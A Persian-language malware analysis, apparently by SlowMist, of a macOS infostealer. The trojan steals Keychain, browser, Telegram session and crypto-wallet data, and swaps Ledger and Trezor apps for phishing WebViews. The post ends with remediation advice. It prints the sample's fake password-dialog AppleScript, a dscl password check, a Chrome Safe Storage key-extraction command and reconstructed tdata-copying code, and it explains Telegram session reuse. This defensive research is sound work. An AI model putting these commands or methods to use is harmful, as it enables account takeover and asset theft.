چگونه تروجان macOS از خط دفاع عبور کرده و حساب TG و کیف پول را به خطر انداخت؟

By: rootdata|2026/07/15 13:39:07
0
اشتراک‌گذاری
copy
امتیازدهی ما در گوگلامتیازدهی ما در گوگل

تروجان سرقت اطلاعات macOS، مکالمات TG و داده‌های کیف پول را سرقت کرده و همچنین کلاینت کیف پول سخت‌افزاری را برای اجرای حمله دوگانه به دارایی‌ها جایگزین می‌کند.


نویسنده: تیم امنیتی SlowMist


پس‌زمینه


اخیراً، سیستم نظارت امنیتی MistEye یک تروجان سرقت اطلاعات را که بر روی macOS اجرا می‌شود، شناسایی کرد. تیم امنیتی SlowMist بلافاصله به تحلیل آن پرداخت.


از لیست سرقت، به نظر می‌رسد که این نمونه در حال انجام یک جستجوی داده‌ای بدون تمرکز است: macOS Keychain، کوکی‌های Safari، یادداشت‌های Apple، داده‌های محلی Telegram Desktop و پایگاه داده‌های بیش از ده نوع کیف پول دیجیتال، همگی در محدوده هدف قرار گرفته‌اند.


در مقاله قبلی «تحلیل درخواست فیشینگ در Google Sites و تروجان سرقت اطلاعات macOS»، ما به این سوال پاسخ دادیم که «تروجان چه چیزی را دزدیده است». اما کپی شدن فایل‌ها به معنای از دست رفتن حساب نیست و انتقال پایگاه داده کیف پول نیز به معنای افشای عبارت بازیابی نیست. بنابراین، این مقاله به بررسی بیشتر می‌پردازد:


آیا این فایل‌ها پس از سرقت واقعاً می‌توانند به کنترل حساب و دارایی تبدیل شوند؟


ما در یک محیط ایزوله، مسیرهای باقی‌مانده از نمونه را بازسازی کردیم. ابتدا فایل مکالمات Telegram Desktop که توسط نمونه کپی شده بود را به یک مک سازگار با نسخه بازگرداندیم و سپس کلاینت را راه‌اندازی کردیم.


صفحه ورود ظاهر نشد.


هیچ درخواست شماره تلفن، هیچ کد تأیید و هیچ درخواست رمز عبور تأیید دو مرحله‌ای Telegram وجود نداشت. کلاینت به طور مستقیم وضعیت حساب قبلی را بازیابی کرده و شروع به همگام‌سازی سوابق چت کرد.


این مرحله برای اولین بار زنجیره حمله را از «فایل‌های ایستا» به نتیجه‌ای قابل مشاهده تبدیل کرد: آنچه که مهاجم برده است، نه یک پیکربندی عادی، بلکه یک گذرنامه محلی معتبر است.


سپس، ما مسیر دیگری را تأیید کردیم: پایگاه داده کیف پول و رمزهای عبور پیشنهادی می‌توانند در یک محیط آفلاین گرد هم آیند؛ نمونه همچنین کلاینت کیف پول اصلی را حذف کرده و یک وب‌سایت از راه دور با نام و آیکون اصلی جایگزین می‌کند.


این عملکردهای به ظاهر پراکنده، در نهایت به یک زنجیره کامل تسلط تبدیل می‌شوند:


  1. ابتدا رمزها، مواد باز کردن و وضعیت‌های ورود موجود را جمع‌آوری کنید؛
  2. مکالمات محلی مجاز Telegram Desktop را منتقل کنید؛
  3. پایگاه داده کیف پول و وضعیت افزونه کیف پول مرورگر را کپی کنید؛
  4. در محیط خود مهاجم سعی کنید رمزگشایی آفلاین انجام دهید؛
  5. به طور همزمان کیف پول اصلی را حذف کرده و به یک برنامه WebView از راه دور تغییر دهید و کاربر را به ارائه عبارت بازیابی ترغیب کنید.

این مقاله بر اساس گزارش تحلیل استاتیک نمونه اصلی، گزارش‌های تحلیل استاتیک سه بسته جایگزینی کیف پول، منطق معادل بازسازی شده توسط تحلیل‌گران بر اساس دیساسمبلی و مواد کمکی برای تأیید شواهد آفلاین LevelDB نوشته شده است.


مرحله 1: جمع‌آوری رمزها و مواد باز کردن


اینکه مکالمات Telegram به طور مستقیم قابل بازیابی هستند، به این دلیل نیست که مهاجم رمز Telegram را شکسته است. همچنین اینکه پایگاه داده کیف پول می‌تواند سعی در رمزگشایی داشته باشد، به این دلیل نیست که نرم‌افزار کیف پول رمزگذاری ندارد.


آنچه که مهاجم ابتدا باید انجام دهد، جمع‌آوری هر چه بیشتر رمزها، مواد باز کردن و وضعیت‌های ورود معتبر است. Keychain، پایگاه داده مرورگر، یادداشت‌های Apple و پنجره‌های فیشینگ رمز، همگی از اجزای این مرحله هستند.


پنجره فیشینگ رمز:


نمونه یک پنجره دیالوگ رمز را که به عنوان به‌روزرسانی Google API connector جعل شده است، نمایش می‌دهد:


set passwen to display dialog "GAPI_Update requires administrator access to update Google API connector. Enter your password to allow this." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer text returned of passwen


این فقط به این معنا نیست که محتویات ورودی به صورت عینی جمع‌آوری می‌شود. نمونه سپس از دستور dscl macOS برای تأیید اینکه آیا این رمز واقعاً می‌تواند از طریق تأیید محلی عبور کند، استفاده می‌کند:


dscl . authonly '<نام کاربری فعلی>' '<رمز پیشنهادی>'



به عبارت دیگر، نمونه سعی می‌کند تأیید کند که کاربر رمز ورود محلی را وارد کرده است و نه یک رشته تصادفی. پس از تأیید، این رمز می‌تواند برای ارتقاء مجوز، حذف برنامه و سایر عملیات استفاده شود.


جمع‌آوری اعتبارنامه‌های مرورگر و Keychain:


در همین حال، نمونه سعی می‌کند کلید Chrome Safe Storage را از Keychain بخواند:


security find-generic-password -ga "Chrome"2>&1 >/dev/null | sed -n 's/^password: "(.*)"/\1/p'


نتیجه در فایل موقت masterpass-chrome نوشته می‌شود. Chrome Safe Storage را می‌توان به عنوان یک کلید رمزگشایی که مرورگر در Keychain macOS ذخیره کرده است، در نظر گرفت. با داشتن آن، مهاجم می‌تواند داده‌های ورود رمزگذاری شده و کوکی‌های Chrome را به همراه خود ببرد و در محیط خود به تحلیل بیشتر بپردازد.


محدوده جمع‌آوری مرورگر نمونه شامل Chrome، Brave، Edge، Vivaldi، Opera و سایر مرورگرهای مبتنی بر هسته Chromium است و فایل‌های هدف شامل Login Data، Cookies، Web Data، formhistory.sqlite و غیره است؛ برای مرورگرهایی مانند Firefox، به logins.json، key4.db و داده‌های کوکی توجه خواهد شد.


نمونه همچنین به جمع‌آوری موارد زیر می‌پردازد:


Keychains/login.keychain-db

Group Containers/group.com.apple.notes/NoteStore.sqlite


اینکه آیا در Notes واقعاً رمزها، عبارت‌های بازیابی کیف پول، رمز عبور Telegram یا کدهای بازیابی ذخیره شده است، به سوابق کاربر بستگی دارد. اما در سطح کد، توانایی خواندن حساب و محتوای اصلی وجود دارد.


بنابراین، آنچه که مهاجم در این مرحله به دست می‌آورد، یک رمز منفرد نیست، بلکه یک دسته از مواد مکمل است:


  • ورودی رمز مستقیم: رمز ورود macOS که از پنجره جعل شده به دست آمده است؛
  • مواد باز کردن: Keychain، Chrome Safe Storage و پایگاه داده‌های رمزگذاری مرورگر؛
  • معادل‌های اعتبارنامه: کوکی‌ها، محتوای یادداشت‌ها و همچنین داده‌های مکالمات و کیف پول.

این مواد به تنهایی ممکن است برای تسلط بر حساب یا کیف پول کافی نباشند، اما آنها کلیدهایی برای «انتقال مکالمات» و «رمزگشایی آفلاین» در مراحل بعدی فراهم می‌کنند.


مرحله 2: انتقال مکالمات Telegram


مکان‌یابی دایرکتوری مکالمات tdata:


نمونه هدف Telegram وب یا موبایل نیست، بلکه کلاینت دسکتاپ Telegram است. این نمونه به مکان‌یابی می‌پردازد:


~/Library/Application Support/Telegram Desktop/tdata/


tdata در اینجا می‌تواند به سادگی به عنوان مجموعه‌ای از داده‌های مکالمه‌ای که Telegram Desktop برای حفظ وضعیت ورود در دستگاه محلی ذخیره می‌کند، در نظر گرفته شود.


نمونه فایل‌هایی را که با کلید، پیکربندی و وضعیت مکالمه مرتبط هستند، کپی می‌کند، از جمله:


  • key_datas: مرتبط با کلید یا پیکربندی محلی tdata؛
  • <name>s: مرتبط با وضعیت مکالمه محلی؛
  • <name>/maps: بخشی از نقشه داده‌های مکالمه.

بر اساس منطق معادل بازسازی شده، نمونه ابتدا key_datas را کپی کرده و سپس دایرکتوری را پیمایش می‌کند تا فایل‌های مکالمه جفت شده را پیدا کند و داده‌های مربوطه را به دایرکتوری موقت بنویسد:


std::string src = app_support + "Telegram Desktop/tdata/";std::string dst = staging + "tg/";

copy_file(src + "key_datas", dst + "key_datas");

std::vector<std::string> names = list_directory_names(src);for (conststd::string& name : names) {if (contains(names, name + "s")) { copy_file(src + name + "s", dst + name + "s"); copy_file(src + name + "/maps", dst + name + "/maps"); }}


این یک زنجیره کپی فایل‌های مکالمه مشخص است و نه فقط «جستجوی چند نام فایل Telegram». پس از اتمام کپی، فرآیند اصلی دایرکتوری موقت را فشرده کرده و بارگذاری می‌کند.


بازیابی مکالمه، دور زدن ورود:


برای ارزیابی خطر واقعی این فایل‌ها پس از انتقال، ما در یک محیط ایزوله، Telegram Desktop سازگار با نسخه (macOS 12.7 / Telegram Desktop 4.16) را آماده کردیم و فایل‌های کلیدی سرقت شده توسط نمونه را به مکان‌های مربوطه بازگرداندیم.


آزمایش با استفاده از حساب کاربری آزمایشی که به دارایی واقعی متصل نیست، انجام شد. این حساب احراز هویت دو مرحله‌ای تلگرام (2FA) را فعال کرده بود، اما کد عبور دسکتاپ تلگرام را فعال نکرده بود.


پس از بازیابی فایل و راه‌اندازی کلاینت، فرآیند ورود به سیستم به شرح زیر بود:


  • نیازی به وارد کردن شماره تلفن نبود؛
  • نیازی به کد تأیید پیامکی نبود؛
  • نیازی به وارد کردن رمز عبور تأیید دو مرحله‌ای تلگرام نبود.

کلاینت به‌طور مستقیم وضعیت ورود به حساب قبلی را بازیابی کرد و سپس شروع به همگام‌سازی تاریخچه چت‌ها کرد.



این بدان معناست که آنچه که مهاجم نیاز دارد، نه یک مجوز جدید برای حساب کاربری، بلکه یک جلسه محلی معتبر است.


آنچه که دزدیده شده، نه رمز ورود، بلکه یک «گذرنامه» است که قبلاً تأیید شده است.


استفاده مجدد از جلسه در مقابل شکستن 2FA:


در اینجا باید بین «دور زدن 2FA» و «استفاده مجدد از جلسه موجود» تمایز قائل شد.


تأیید دو مرحله‌ای تلگرام عمدتاً از فرآیند مجوز جدید حساب کاربری محافظت می‌کند. زمانی که مهاجم به‌طور مستقیم مواد جلسه محلی مجاز شده را بازیابی می‌کند، کلاینت فرآیند تأیید کامل شماره تلفن، کد تأیید و رمز عبور تأیید دو مرحله‌ای را دوباره اجرا نمی‌کند.


بنابراین، بیان دقیق‌تر این است که: مهاجم از جلسه محلی که قبلاً مجاز شده است، استفاده مجدد کرده است، بنابراین 2FA دوباره فعال نشده است. این به این معنا نیست که رمز 2FA تلگرام شکسته شده است، بلکه کل فرآیند استفاده مجدد اساساً به مرحله‌ای که نیاز به تأیید این رمز دارد، وارد نشده است.


کاربر ممکن است بلافاصله متوجه ناهنجاری نشود:


در شرایط آزمایش فعلی، جلسه کپی شده در لیست دستگاه‌ها به‌طور پایدار به‌عنوان یک رکورد مجوز دستگاه جدید و واضح ظاهر نمی‌شود. این بدان معناست که حتی اگر کاربر به‌طور فعال دستگاه‌های وارد شده را بررسی کند، ممکن است بلافاصله متوجه نشود که داده‌های جلسه محلی کپی شده‌اند.



زمانی که دستگاه اصلی و دستگاه تکرار شده برای مدت طولانی به‌طور همزمان استفاده می‌شوند، سرور ممکن است یکی از جلسات را غیر فعال کند و از کاربر بخواهد دوباره وارد شود. اما در آزمایش‌های دسترسی کوتاه و متناوب، جلسه به‌طور فوری مجبور به پایان نیافتاد.



تشخیص ناهنجاری‌های سرور می‌تواند زمان بقای برخی از جلسات دزدیده شده را کاهش دهد، اما نمی‌تواند جایگزین حفاظت از داده‌های محلی tdata شود.


اگر تلگرام دسکتاپ کد عبور را فعال کرده باشد، پس از بازیابی جلسه، ممکن است از مهاجم خواسته شود که این رمز را وارد کند. این واقعاً می‌تواند یک لایه حفاظت اضافی اضافه کند، اما این تروجان به‌طور همزمان داده‌های Keychain، یادداشت‌های اپل و داده‌های مرورگر را جمع‌آوری می‌کند. اگر کاربر قبلاً در این مکان‌ها کد عبور تلگرام را ثبت کرده باشد یا از رمز عبور در چندین برنامه استفاده مجدد کرده باشد، این حفاظت هنوز ممکن است شکسته شود.


tdata می‌تواند به جلسه API تبدیل شود:


علاوه بر روش‌های فوق، ما همچنین متوجه شدیم که با دسترسی به tdata تلگرام، می‌توان با استفاده از opentele، Telethon، AuthKey مجاز و پارامترهای API کلاینت رسمی، وضعیت ورود محلی را به جلسه API تلگرام قابل برنامه‌ریزی تبدیل کرد، که برای خواندن مکالمات، پیام‌های تاریخی و ارسال پیام‌ها استفاده می‌شود. آزمایش‌ها نشان می‌دهد که اسکریپت می‌تواند از اتصالات کوتاه و متناوب استفاده کند و نیازی به آنلاین ماندن طولانی‌مدت ندارد، که خطر فعال شدن فوری خروج غیرعادی را کاهش می‌دهد. از آنجا که از مجوز اصلی استفاده مجدد می‌شود، هیچ ورود دستگاه جدیدی ایجاد نمی‌شود و در لیست دستگاه‌های وارد شده نیز رکورد جدید و واضحی از دستگاه تکرار شده ظاهر نمی‌شود، بنابراین کاربر تنها با بررسی دستگاه‌های وارد شده به سختی می‌تواند ناهنجاری را به‌موقع شناسایی کند.



تلگرام برای macOS نیز در معرض خطر استفاده مجدد از جلسه است:


تحلیل‌های فوق مربوط به تلگرام دسکتاپ (کلاینت چندسکویی مبتنی بر Qt) است. اما تلگرام در macOS همچنین یک کلاینت بومی دیگر به نام تلگرام برای macOS (نسخه بومی Swift که از App Store یا وب‌سایت رسمی به‌صورت مستقل دانلود می‌شود) ارائه می‌دهد. آزمایش روی این نسخه نشان می‌دهد که فایل‌های جلسه محلی آن نیز می‌توانند کپی شده و به‌طور مستقیم در یک مک دیگر بازیابی شوند: بدون نیاز به شماره تلفن، کد تأیید یا رمز عبور تأیید دو مرحله‌ای، می‌توان به حساب وارد شد و در لیست دستگاه‌های وارد شده رکورد جدیدی که نمایانگر دستگاه تکرار شده باشد، وجود نخواهد داشت.


علاوه بر این، تلگرام برای macOS در پاسخ به مکانیزم‌های امنیتی تفاوت قابل توجهی با نسخه دسکتاپ دارد: زمانی که سرور رفتارهای ورود غیرعادی را شناسایی می‌کند، تلگرام برای macOS مانند نسخه دسکتاپ مجبور به خروج از سیستم و پاک کردن داده‌های محلی نمی‌شود. در آزمایش ما، کلاینتی که به‌دلیل مکانیزم امنیتی علامت‌گذاری شده بود، هرچند نمی‌توانست پیام‌های جدید ارسال یا دریافت کند، اما همچنان می‌توانست وضعیت رابط را باز نگه دارد و مهاجم می‌توانست از این طریق به مشاهده و مرور تاریخچه چت‌های محلی موجود ادامه دهد. به عبارت دیگر، حتی اگر سرور واکنش نشان دهد، پیام‌های تاریخی که قبلاً کش شده‌اند، همچنان می‌توانند به‌طور کامل مرور شوند و از خروج اجباری جلوگیری نشود.



این بدان معناست که در این سناریوی حمله، کلاینت بومی macOS نه تنها نمی‌تواند از طریق «افزودن دستگاه جدید» که یک بعد معمولی است، توسط کاربر شناسایی شود، بلکه پس از شناسایی ناهنجاری توسط سرور، تاریخچه چت‌ها همچنان در معرض دید است. مهاجم هرچند توانایی ارسال و دریافت پیام‌های جدید را از دست داده است، اما محتوای تاریخی که قبلاً کش شده است، همچنان می‌تواند به‌طور کامل خوانده شود.


در اینجا، مسیرهای مربوط به تلگرام به‌وضوح مشخص شده است: چه تلگرام دسکتاپ و چه تلگرام برای macOS، مهاجم نیازی به ورود مجدد به حساب ندارد و تنها کافی است یک جلسه محلی مجاز شده را از مک قربانی به محیط خود منتقل کند.


قیمت --

--

مرحله 3: سرقت داده‌های کیف پول


جلسات تلگرام می‌توانند به‌طور مستقیم استفاده مجدد شوند، در حالی که پایگاه داده کیف پول معمولاً یک لایه رمزگذاری اضافی دارد. روش نمونه این است که ابتدا تا حد ممکن داده‌های کیف پول را کپی کرده و فضای لازم برای تحلیل‌های بعدی را فراهم کند.


پوشش کامل 16 نوع کیف پول:


نمونه به‌دنبال 16 نوع کیف پول محلی یا کلاینت‌های مدیریت کیف پول می‌گردد که شامل کیف پول‌های نرم‌افزاری، کلاینت‌های تمام‌گره Core و برنامه‌های مدیریت کیف پول سخت‌افزاری است:


  • کیف پول‌های نرم‌افزاری: Electrum، Coinomi، Exodus، Atomic، Wasabi، Monero، Electrum LTC، Electron Cash، Guarda، Sparrow؛
  • کلاینت‌های Core: Bitcoin Core، Litecoin Core، Dash Core، Dogecoin Core؛
  • کلاینت‌های مرتبط با کیف پول سخت‌افزاری: Ledger Live، Trezor Suite.

دستگاه‌های داده، فرمت‌های پایگاه داده و روش‌های رمزگذاری کیف پول‌های مختلف یکسان نیستند، اما استراتژی پایه‌ای که نمونه استفاده می‌کند، یکسان است: شناسایی دایرکتوری، کپی پایگاه داده کیف پول و فایل‌های پیکربندی، بسته‌بندی و ارسال به خارج، و ادامه تحلیل در محیط مهاجم.


در حین کپی، نمونه دایرکتوری‌های Cache، Code Cache، Crashpad، journals، media، calls و سایر دایرکتوری‌های نویز و کش را رد می‌کند و به‌طور اولویت‌دار داده‌های وضعیت حساب و کیف پول را حفظ می‌کند.


این به یک نتیجه‌ای که به‌راحتی نادیده گرفته می‌شود، منجر می‌شود: حتی اگر داده‌های کیف پول در حالت رمزگذاری باشند، به محض اینکه پایگاه داده کامل به خارج منتقل شود، مهاجم می‌تواند از دستگاه قربانی جدا شده و به‌طور مکرر سعی در رمزگشایی کند. قربانی با بستن کیف پول، قطع اتصال از شبکه و حتی حذف تروجان، نمی‌تواند داده‌های کپی شده را بازگرداند.


جمع‌آوری از افزونه‌های مرورگر:


علاوه بر کیف پول‌های دسکتاپ، نمونه همچنین دایرکتوری‌های پیکربندی بیش از ده‌ها مرورگر مبتنی بر هسته Chromium مانند Chrome، Brave، Edge، Vivaldi و Opera را اسکن می‌کند.


این نمونه برای هر دایرکتوری Default یا Profile مرورگر، کوکی‌ها، داده‌های ورود، داده‌های فرم وب و همچنین ذخیره‌سازی محلی افزونه‌ها و داده‌های IndexedDB را جمع‌آوری می‌کند. نمونه شامل 223 شناسه افزونه مرتبط با کیف پول است که برای فیلتر و کپی ذخیره‌سازی محلی افزونه‌های کیف پول رمزنگاری شده استفاده می‌شود.


این داده‌ها معادل با عبارت‌های یادآوری متن باز نیستند، اما ممکن است شامل Vault کیف پول، پیکربندی حساب، وضعیت مجوز و مواد ورود مرورگر باشد که می‌تواند برای تحلیل‌های آفلاین، انتقال وضعیت و فیشینگ هدفمند بعدی استفاده شود.


در این مرحله، مهاجم دو نوع مواد کلیدی در دست دارد: از یک سو پایگاه داده کیف پول رمزگذاری شده و از سوی دیگر رمزهای عبور نامزد جمع‌آوری شده از سیستم، مرورگر و یادداشت‌ها. مرحله بعدی این است که ببینیم آیا می‌توان این دو نوع مواد را با هم ترکیب کرد.


مرحله 4: رمزگشایی آفلاین کیف پول


به عنوان مثال، کیف پول Atomic:


ما کیف پول Atomic را برای بازتولید محلی انتخاب می‌کنیم. نمونه دایرکتوری ذخیره‌سازی محلی LevelDB کیف پول Atomic را کپی می‌کند. LevelDB یک فرمت پایگاه داده محلی رایج است که کیف پول وضعیت حساب و داده‌های حساس را در آن ذخیره می‌کند.


داده‌های موجود در این دایرکتوری با AES-256-CBC رمزگذاری شده‌اند و برای رمزگشایی به رمز کیف پول نیاز است.



بنابراین، تنها داشتن یک فایل LevelDB به این معنا نیست که مهاجم به کلمات عبور واضح دست یافته است. رمز عبور کیف پول هنوز یک دروازه بین پایگاه داده و داده‌های حساس است.


اما این دروازه باید در کل زنجیره حمله مورد بررسی قرار گیرد.


تلاش برای رمزگشایی گذرواژه‌های چندمنبعی:


در محیط آزمایش ایزوله (Atomic Wallet 2.70)، ما داده‌های LevelDB کپی شده از نمونه را بازیابی کردیم و کلمات عبور نامزد جمع‌آوری شده از Keychain، مدیر رمز عبور مرورگر، Apple Notes و غیره را یکی یکی برای رمزگشایی استفاده کردیم.


در نهایت، کلمات عبور نامزد موفق به رمزگشایی داده‌های حاوی مواد کنترل دارایی شدند.



این مرحله خطرناک‌ترین نقطه نمونه را فاش کرد: مهاجم لزوماً نیازی به جستجوی آسیب‌پذیری‌های رمزنگاری در خود نرم‌افزار کیف پول ندارد و همچنین نیازی به تلاش برای رمز عبور در کامپیوتر قربانی به صورت زنده ندارد.


او فقط نیاز دارد که همزمان دو چیز را به سرقت ببرد: یک پایگاه داده کیف پول رمزنگاری شده و یک دسته از کلمات عبور که ممکن است متعلق به کاربر باشد. پایگاه داده مانند یک گاوصندوق جابجا شده است و کلمات عبور نامزد مانند یک رشته کلیدهای پشتیبان با منشاء پیچیده هستند. مهاجم می‌تواند در یک محیط آفلاین بدون محدودیت زمانی به طور جداگانه آنها را تأیید کند.


انتقال کلید خصوصی غیرقابل برگشت:


به محض اینکه کلید خصوصی، کلمات عبور یا مواد کنترل دارایی معادل بازیابی شوند، خطر دیگر محدود به یک کلاینت کیف پول خاص نیست. مهاجم می‌تواند در یک کیف پول سازگار دیگر همان مجموعه آدرس‌ها را بازیابی کرده و کنترل دارایی‌های مربوطه را به دست آورد.


در این مرحله، تغییر رمز عبور برنامه، نصب مجدد کلاینت یا حتی حذف فایل‌های محلی کیف پول نمی‌تواند کلید خصوصی یا کلمات عبور که قبلاً به سرقت رفته‌اند را بی‌اثر کند.


در اینجا، مسیر رمزگشایی آفلاین داده‌های کیف پول روشن شده است. اما نمونه در اینجا متوقف نمی‌شود ------ برای چند هدف با ارزش بالا، یک مسیر حمله موازی دیگر نیز پیاده‌سازی شده است.


مرحله 5: جایگزینی برنامه کیف پول


دانلود ZIP مخرب برای جایگزینی برنامه:


در نمونه اصلی، ما یک مجموعه از عملیات که به وضوح با سرقت فایل‌های معمولی متفاوت است را کشف کردیم: تروجان از سرور راه دور سه بسته ZIP را به دایرکتوری /tmp دانلود می‌کند و در عین حال Ledger Live، Ledger Wallet و Trezor Suite که کاربر قبلاً نصب کرده است را حذف می‌کند.



تابع swap_app() در نمونه اصلی فرآیند کامل جایگزینی را اجرا می‌کند: با استفاده از curl بسته فشرده را دانلود می‌کند، فرآیند کیف پول در حال اجرا را با pkill خاتمه می‌دهد، سپس برنامه اصلی را با rm -rf حذف می‌کند و در صورت لزوم با sudo امتیاز می‌گیرد و در نهایت با استفاده از ditto بسته فشرده را به /Applications استخراج می‌کند.


بسته‌های جایگزین فقط بارگذاری‌کننده وب هستند:


از نام فایل و آیکون، به نظر می‌رسد که این بسته‌های ZIP به ترتیب مربوط به سه کلاینت کیف پول اصلی هستند. اما تحلیل معکوس نشان می‌دهد که آنها هیچ عملکرد واقعی کیف پولی را پیاده‌سازی نکرده‌اند.


جریان اصلی اجرای سه برنامه جایگزین به شدت مشابه است: خواندن پیکربندی پنهان، رمزگشایی مسیرهای راه دور با XOR، ترکیب URL کامل، ایجاد یک WKWebView با فعال‌سازی JavaScript و سپس بارگذاری صفحه راه دور تحت کنترل مهاجم.


WKWebView را می‌توان به عنوان یک پنجره وب درون برنامه دسکتاپ در نظر گرفت. این امکان را می‌دهد که صفحات وب از راه دور بر روی رابط برنامه پوشش داده شوند، بدون اینکه به صورت برگه مرورگر ظاهر شوند.


تحلیل ایستا تأیید می‌کند که بسته‌های جایگزین JavaScript و ذخیره‌سازی داده‌های دائمی را فعال کرده‌اند، اما هیچ پیاده‌سازی واقعی از Ledger یا Trezor پیدا نشده است: هیچ ارتباط USB/HID، هیچ شناسایی دستگاه سخت‌افزاری، هیچ تولید کلید BIP39/BIP32 و هیچ ساخت تراکنش یا امضای محلی وجود ندارد.


به عبارت دیگر، این برنامه‌ها کلاینت‌های کیف پول اصلاح شده نیستند، بلکه بارگذاری‌کننده‌های وبی هستند که نام و آیکون کیف پول را دارند.


آدرس‌های راه دور که سه برنامه جایگزین در نهایت بارگذاری می‌کنند عبارتند از:



Ledger Live و Ledger Wallet به همان /ledger مسیر اشاره می‌کنند، در حالی که Trezor Suite بارگذاری /trezor مسیر را انجام می‌دهد. صفحه راه دور به این معنی است که مهاجم نیازی به انتشار مجدد برنامه محلی ندارد و می‌تواند هر زمان که بخواهد محتوای صفحه، متن تعامل و منطق ارسال داده را تغییر دهد.


صفحه فیشینگ پشت آیکون دسکتاپ:


زمانی که کاربر این برنامه‌های «کیف پول» جایگزین شده را راه‌اندازی می‌کند، صفحه راه دور می‌تواند به عنوان فرآیند بازیابی، تأیید یا راه‌اندازی کیف پول جعل شود و کاربر را به وارد کردن کلمات عبور، PIN، passphrase یا سایر مواد بازیابی هدایت کند.



برای کاربران عادی، این موضوع شناسایی را دشوارتر از صفحات فیشینگ سنتی می‌کند. صفحه در برگه مرورگر ظاهر نمی‌شود، بلکه در یک برنامه دسکتاپ نصب شده در دایرکتوری /Applications با نام و آیکون آشنا ظاهر می‌شود.


کاربر ممکن است فکر کند که این فرآیند تأیید پس از به‌روزرسانی کیف پول است یا ممکن است فکر کند که در حال دنبال کردن راهنمای رسمی برای بازیابی حساب است.


اگر کاربر در این صفحه راه دور کلمات عبور را ارسال کند، آنچه که مهاجم به دست می‌آورد دیگر فقط دسترسی موقت به یک برنامه نیست، بلکه بالاترین اعتبار کنترل دارایی‌های کیف پول است.


رمزگشایی آفلاین در جستجوی کلمات عبور در داده‌های موجود است؛ در حالی که جایگزینی برنامه، کاربر را به طور فعال به وارد کردن کلمات عبور تشویق می‌کند. این دو مسیر به طور موازی عمل می‌کنند و به یکدیگر وابسته نیستند.


چشم‌انداز زنجیره حمله


با نگاهی به لیست اولیه سرقت، Keychain، Cookie، Notes، Telegram و فایل‌های کیف پول به نظر می‌رسد که اهداف مستقل یکدیگر هستند. پس از بازتولید، ارتباطات بین آنها روشن‌تر می‌شود:


  • Keychain، مرورگر و Notes کلمات عبور، Passcode و سایر مواد باز کردن قفل را فراهم می‌کنند؛
  • Cookie های Safari ممکن است جلسه‌های ورود وب هنوز معتبر را فراهم کنند؛
  • tdata تلگرام جلسه‌های حسابی که قبلاً مجاز شده‌اند را فراهم می‌کند؛
  • پایگاه داده کیف پول داده‌های رمزنگاری شده‌ای را فراهم می‌کند که می‌توان آنها را به سرقت برد، کپی کرد و به صورت آفلاین تجزیه و تحلیل کرد؛
  • برنامه‌های جایگزین Ledger و Trezor از یک مسیر مستقل دیگر، کاربر را به صفحات فیشینگ راه دور هدایت می‌کنند.

هر ماژول به صورت جداگانه، مانند رفتارهای سرقت معمولی به نظر می‌رسد. نقطه واقعی خطر در این است که نمونه می‌تواند این مواد را ترکیب کند.


برای تلگرام، مهاجم نه تنها بر روی قدرت رمز عبور غلبه می‌کند، بلکه بر روی خود احراز هویت مجدد نیز غلبه می‌کند. برای کیف پول محلی، مهاجم از داده‌های رمزنگاری شده و مواد رمز عبور که به طور همزمان به سرقت رفته‌اند، استفاده می‌کند. برای Ledger و Trezor، مهاجم حتی دیگر سعی نمی‌کند داده‌های موجود را رمزگشایی کند، بلکه از طریق جایگزینی کلاینت، «رابط قابل اعتماد» را که در ذهن کاربر است، دوباره تعریف می‌کند.


آنچه که مهاجم واقعاً نیاز دارد، اغلب نه یک رمز عبور خاص، بلکه همزمان داشتن جلسه‌های مجاز، داده‌های رمزنگاری شده و مواد باز کردن قفل است.


خلاصه


این تروجان نه تنها چند کلمه عبور یا فایل جداگانه را به سرقت می‌برد، بلکه کل مجموعه اعتماد محلی کاربر را که در یک Mac به تدریج ایجاد شده است، به سرقت می‌برد: جلسات وارد شده، کلمات عبور ذخیره شده، کیف پول رمزنگاری شده و اعتماد کاربر به خود برنامه‌های دسکتاپ.


زمانی که این موارد همزمان از دستگاه خارج می‌شوند، از افشای اطلاعات تا تصاحب حساب و سپس سرقت دارایی‌های دیجیتال، تنها یک موفقیت در ترکیب داده‌ها فاصله وجود دارد.


حملات کیف پول دو مسیری. نمونه برای دارایی‌های کیف پول دو مسیر پشتیبان تهیه کرده است: مسیر اول سرقت پایگاه داده کیف پول و کلمات عبور نامزد برای رمزگشایی آفلاین است؛ مسیر دوم جایگزینی کلاینت کیف پول سخت‌افزاری، بارگذاری صفحه راه دور و تشویق کاربر به ارسال کلمات عبور به طور فعال است. این دو مسیر به طور موازی عمل می‌کنند و به ترتیب «سرقت غیرفعال» و «تشویق فعال» را پوشش می‌دهند.


استفاده مجدد از جلسه، نه رمزگشایی رمز عبور. مهاجم به طور مستقیم فایل‌های جلسه محلی مجاز را کپی می‌کند و در محیط جدید وضعیت ورود را بازیابی می‌کند، بدون اینکه فرآیند احراز هویت مجدد را فعال کند.


ترکیب استفاده از اعتبارنامه‌های چندمنبعی. نمونه به یک منبع واحد از کلمات عبور وابسته نیست، بلکه از Keychain، مدیر رمز عبور مرورگر، Apple Notes و جعبه‌های گفتگوی جعل شده از چندین کانال کلمات عبور نامزد جمع‌آوری می‌کند و شانس رمزگشایی پایگاه داده کیف پول به صورت آفلاین را افزایش می‌دهد.


توصیه‌ها


  1. در صورت شناسایی احتمال عفونت در میزبان، باید بلافاصله تمام جلسات Telegram موجود را در یک دستگاه قابل اعتماد خاتمه داده و وضعیت ورود قابل اعتماد را دوباره برقرار کنید و رمز عبور تأیید دوم و Passcode Telegram را تغییر دهید. تنها تغییر رمز عبور 2FA ممکن است بلافاصله باعث بی‌اثر شدن جلسه محلی کپی شده نشود.

  1. به محض اینکه پایگاه داده کیف پول یا مواد کلید خصوصی ممکن است افشا شود، باید در یک دستگاه تمیز یا کیف پول سخت‌افزاری قابل اعتماد، کلمات عبور جدیدی تولید کرده و دارایی‌ها را به سرعت به آدرس جدید منتقل کنید و استفاده از کلمات عبور قدیمی را متوقف کنید. تنها تغییر رمز عبور برنامه کیف پول نمی‌تواند کلید خصوصی یا کلمات عبور افشا شده را بی‌اثر کند.

  1. تمام کلمات عبور ذخیره یا استفاده مجدد شده در Keychain، Apple Notes و مرورگر را تغییر دهید و بر روی ایمیل، صرافی، فضای ابری، مدیر رمز عبور و حساب‌های اجتماعی تمرکز کنید و جلسات ورود موجود در این خدمات را لغو کنید.

